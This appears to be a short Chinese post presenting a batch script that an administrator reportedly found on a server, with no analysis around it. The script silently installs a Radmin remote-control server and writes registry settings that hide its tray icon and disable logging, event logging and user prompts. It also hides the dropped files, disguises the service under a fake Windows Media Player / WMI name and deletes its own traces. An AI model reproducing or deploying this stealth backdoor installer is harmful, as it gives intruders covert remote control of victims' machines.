[批处理][网络管理中发现服务器上远程控制程序以批处理注入的程序片]

@echo off
@system.exe /uninstall /silence
@system.exe /install /silence
echo Windows Registry Editor Version 5.00 > c:/server.reg

echo [HKEY_LOCAL_MACHINE/SYSTEM/RAdmin]>> c:/server.reg

echo [HKEY_LOCAL_MACHINE/SYSTEM/RAdmin/v2.0]>> c:/server.reg

echo [HKEY_LOCAL_MACHINE/SYSTEM/RAdmin/v2.0/Server]>> c:/server.reg

echo [HKEY_LOCAL_MACHINE/SYSTEM/RAdmin/v2.0/Server/iplist]>> c:/server.reg

echo [HKEY_LOCAL_MACHINE/SYSTEM/RAdmin/v2.0/Server/Parameters]>> c:/server.reg
echo "NTAuthEnabled"=hex:00,00,00,00>> c:/server.reg
echo "Parameter"=hex:df,ac,59,ee,60,c7,c2,c8,5b,3d,74,dd,9d,f5,57,2b>> c:/server.reg
echo "Port"=hex:15,1e,00,00>> c:/server.reg
echo "Timeout"=hex:0a,00,00,00>> c:/server.reg
echo "EnableLogFile"=hex:00,00,00,00>> c:/server.reg
echo "LogFilePath"="c://logfile.txt">> c:/server.reg
echo "FilterIp"=hex:00,00,00,00>> c:/server.reg
echo "DisableTrayIcon"=hex:01,00,00,00>> c:/server.reg
echo "AutoAllow"=hex:00,00,00,00>> c:/server.reg
echo "AskUser"=hex:00,00,00,00>> c:/server.reg
echo "EnableEventLog"=hex:00,00,00,00 >> c:/server.reg
@regedit /s c:/server.reg
@net start r_server
@attrib +r +h %systemroot%/system32/drivers/system.exe
@attrib +r +h %systemroot%/system32/drivers/admdll.dll
@attrib +r +h %systemroot%/system32/drivers/raddrv.dll
echo Windows Registry Editor Version 5.00 > c:/ip.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/r_server] >> c:/ip.reg
echo "Description"="为Windows Media Player提供加载进程及为其他的移动媒体，驱动程序和库提供基层安全协议服务。">> c:/ip.reg

@regedit /s c:/ip.reg
@del c:/ip.reg /f /q
@del c:/server.reg /f /q

@sc config r_server displayname= "Windows Management Instrumentation Player Drivers"
@del %systemroot%/system32/haha.exe /f /q
@del %systemroot%/system32/drivers/sc.exe /f /q
@del %systemroot%/system32/drivers/1.bat /f /q
@del %systemroot%/system32/drivers/2.bat /f /q